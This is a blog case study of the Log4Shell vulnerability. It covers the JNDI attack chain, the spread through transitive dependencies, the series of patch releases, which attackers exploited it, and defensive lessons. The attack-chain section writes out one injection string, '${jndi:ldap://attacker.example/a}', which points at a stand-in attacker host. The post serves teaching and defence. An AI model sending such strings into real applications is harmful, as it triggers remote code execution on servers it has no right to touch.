TechEarl

Log4Shell: How a Logging Line Became Remote Code Execution

In December 2021, a flaw in Log4j (CVE-2021-44228) let an attacker run code on a server simply by getting a malicious string logged. Because Log4j is everywhere in the Java world, it became one of the most widely exploited vulnerabilities ever disclosed. A post-mortem of the JNDI attack chain, the messy patch saga, and the lessons.

Ishan Karunaratne⏱️ 9 min readUpdated
Share thisCopied
How Log4Shell (CVE-2021-44228) turned a logged string into remote code execution via a JNDI lookup, why it spread so far, and the patch-saga lessons.

In December 2021, the world learned that you could take over a vast number of servers just by getting them to log a particular string. The vulnerability, CVE-2021-44228 and nicknamed Log4Shell, was in Log4j 2, a logging library so common in the Java ecosystem that it sits, often invisibly, inside a huge fraction of enterprise software. Because almost every application logs untrusted input somewhere (a username, a User-Agent header, a chat message), and because Log4j would interpret special syntax inside the things it logged, an attacker could trigger remote code execution by sending a value designed to be logged. It was rated the maximum severity, 10.0, and within hours of going public it was being exploited at internet scale, becoming one of the most consequential and widely exploited software vulnerabilities ever disclosed.

This is the case that makes software-supply-chain risk concrete. Most of the organisations scrambling that December did not write any vulnerable code; they had simply depended, somewhere deep in their dependency tree, on a library that had this flaw, and many did not even know they were using it.

The attack chain: from a logged string to RCE

Editorial illustration of Log4Shell: a paper log slip with one glowing line, a summoning ring pulling a remote object along a thread from a distant server, and the object unfolding into running gears.
A single logged string triggers a lookup that fetches a remote object from the attacker's server and runs it as code.

The mechanism is elegant and alarming in equal measure. It chains a convenience feature of Log4j to a legacy Java feature in a way neither anticipated.

  1. Log4j evaluated lookups inside log messages. Log4j 2 had a feature where special ${...} syntax in a log message would be substituted, a "lookup." Among the supported lookups was JNDI, the Java Naming and Directory Interface. So if Log4j logged a string containing ${jndi:ldap://attacker.example/a}, it would not just write that text, it would act on it.
  2. The trigger is anything that gets logged. Applications log untrusted input constantly. An attacker could put the malicious ${jndi:...} string into an HTTP User-Agent header, a username field, a chat message, a search query, anything the application would log. When Log4j logged that value, the lookup fired. No authentication, no special access, just a value the application logged.
  3. JNDI fetched a remote object. The JNDI lookup made the server connect out to the attacker's LDAP (or RMI) server. That server responded by pointing the victim at a remote Java class.
  4. The JVM loaded and ran the attacker's code. The Java runtime fetched the attacker-specified class and executed it, giving the attacker remote code execution on the server.

The whole chain is triggered by the server doing something every server does, writing a log line, with attacker-controlled content. That is what made it so universal: you did not need a vulnerable endpoint in the usual sense, you just needed the application to log something an attacker could influence.

Why it spread so far: the dependency tree

Log4Shell's reach came from Log4j's ubiquity, and specifically from transitive dependencies. Many organisations did not directly choose Log4j; they used a framework or a product that used another library that, several layers down, bundled Log4j. The library was everywhere and often invisible, which created the defining problem of that December: teams could not immediately answer the question "are we even using Log4j, and where?" The vulnerability was trivial to exploit and trivial to scan for at internet scale, but hard to find inside your own sprawling software estate.

This is the supply-chain lesson in its purest form. Your security is not only a function of the code you write; it is a function of every dependency you pull in, transitively, all the way down. The US government's Cyber Safety Review Board later studied the event and called Log4Shell an "endemic vulnerability," expecting vulnerable instances to persist in systems for years, precisely because so many organisations could not fully locate it.

The messy patch saga

Log4Shell is also a cautionary tale about how hard it is to fix a vulnerability under fire, and it is worth knowing that the first patch was not the end.

  • The initial fix, Log4j 2.15.0, turned out to be incomplete. A follow-on issue (CVE-2021-45046) showed the mitigation could still be bypassed in certain configurations.
  • 2.16.0 went further, removing the message-lookup behaviour entirely and disabling JNDI by default.
  • Then CVE-2021-45105 revealed a denial-of-service problem, addressed in 2.17.0.
  • A further issue with a JDBC appender (CVE-2021-44832) led to 2.17.1.

So "just patch it" meant chasing a moving target across several releases over weeks. The reliable emergency stopgap that many teams used while sorting out the upgrade was to remove the vulnerable JndiLookup class from the Log4j jar, which neutralised the core attack regardless of version. The lesson is that the first advertised fix for a major vulnerability is sometimes provisional, and staying on the security advisory through its updates matters as much as applying the first patch.

Who exploited it

Exploitation was immediate and broad. Within hours of disclosure, mass scanning began, and over the following days and weeks the vulnerability was used by opportunistic botnets installing cryptocurrency miners (Mirai and Muhstik variants), by ransomware operators including Conti and a strain called Khonsari, by Cobalt Strike deployments, and by nation-state actors probing for a foothold. A maximum-severity, trivially-exploitable RCE in a ubiquitous library is exactly the kind of thing every category of attacker rushes to use at once, and they did.

The lessons I take from it

Know your dependencies, including the transitive ones. The defining difficulty of Log4Shell was not patching, it was finding. You cannot fix a vulnerable library you do not know you have. A software bill of materials (SBOM) and dependency inventory, kept current, is what lets you answer "are we affected?" in minutes instead of weeks. This is the single most important takeaway.

Untrusted input is dangerous even when you are only logging it. The mental model that "logging is safe, it just writes text" was exactly wrong here. Any place untrusted data flows, including into a log, is a place to be careful, because libraries sometimes do more with that data than write it. Treat all input as untrusted all the way through.

The first patch may not be the last. Log4Shell took several releases to fully resolve. When you respond to a critical vulnerability, subscribe to the advisory and track it through its updates rather than applying the first patch and considering it closed.

RCE in a dependency is your RCE. It does not matter that you did not write Log4j. A remote code execution flaw anywhere in your running stack is a remote code execution flaw in your application. The Equifax breach made the same point with a different library: keeping dependencies patched is front-line security, not background maintenance.

Where to go next

For the bug class, the remote code execution deep dive covers how untrusted input becomes code execution and how to contain the blast radius. The sibling case study in this cluster is the Equifax breach, another unpatched-dependency RCE (Apache Struts) with catastrophic results. For where RCE sits among the web attack classes, see the web application security vulnerabilities taxonomy.

Sources

Authoritative references this article was fact-checked against.

TagsSecurityRCERemote Code ExecutionLog4ShellLog4jCase Study

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Software Systems Architect · Senior Software Engineer · Engineering Leadership

Software systems architect and senior software engineer with more than two decades designing, building, and running production software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Now a CTO, though what I write here is drawn from the full arc of that work, across architecture, engineering, and operations, not any single job.

Keep reading

Related posts

Use grep -C 3 'pattern' file to print 3 lines before and after each match. The -A, -B, -C context flags, the -- group separator, asymmetric context, recursive search, and BSD vs GNU grep differences.

How to Show Lines Before and After a grep Match (Context)

grep -C 3 'pattern' file prints the matching line plus 3 lines on each side. The three context flags (-A after, -B before, -C both), how the -- group separator works between match blocks, asymmetric context, recursive context search, and the macOS BSD vs GNU differences that bite.